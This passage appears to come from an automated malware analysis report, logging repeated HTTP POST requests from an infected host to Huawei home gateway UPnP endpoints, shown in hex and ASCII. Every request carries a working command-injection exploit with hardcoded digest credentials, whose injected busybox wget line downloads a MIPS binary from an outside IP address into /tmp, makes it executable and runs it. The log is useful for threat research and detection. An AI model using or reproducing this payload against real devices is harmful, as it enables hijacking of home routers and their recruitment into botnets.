79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:40.869216919 CET	1593	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:43.208822966 CET	1670	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:48.068178892 CET	1787	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.538899899 CET	2044	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228190899 CET	2572	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	156.241.113.177	37215	192.168.2.23	41758

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:41.679209948 CET	1618	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:43.684889078 CET	1673	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.276407003 CET	1730	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143822908 CET	1851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 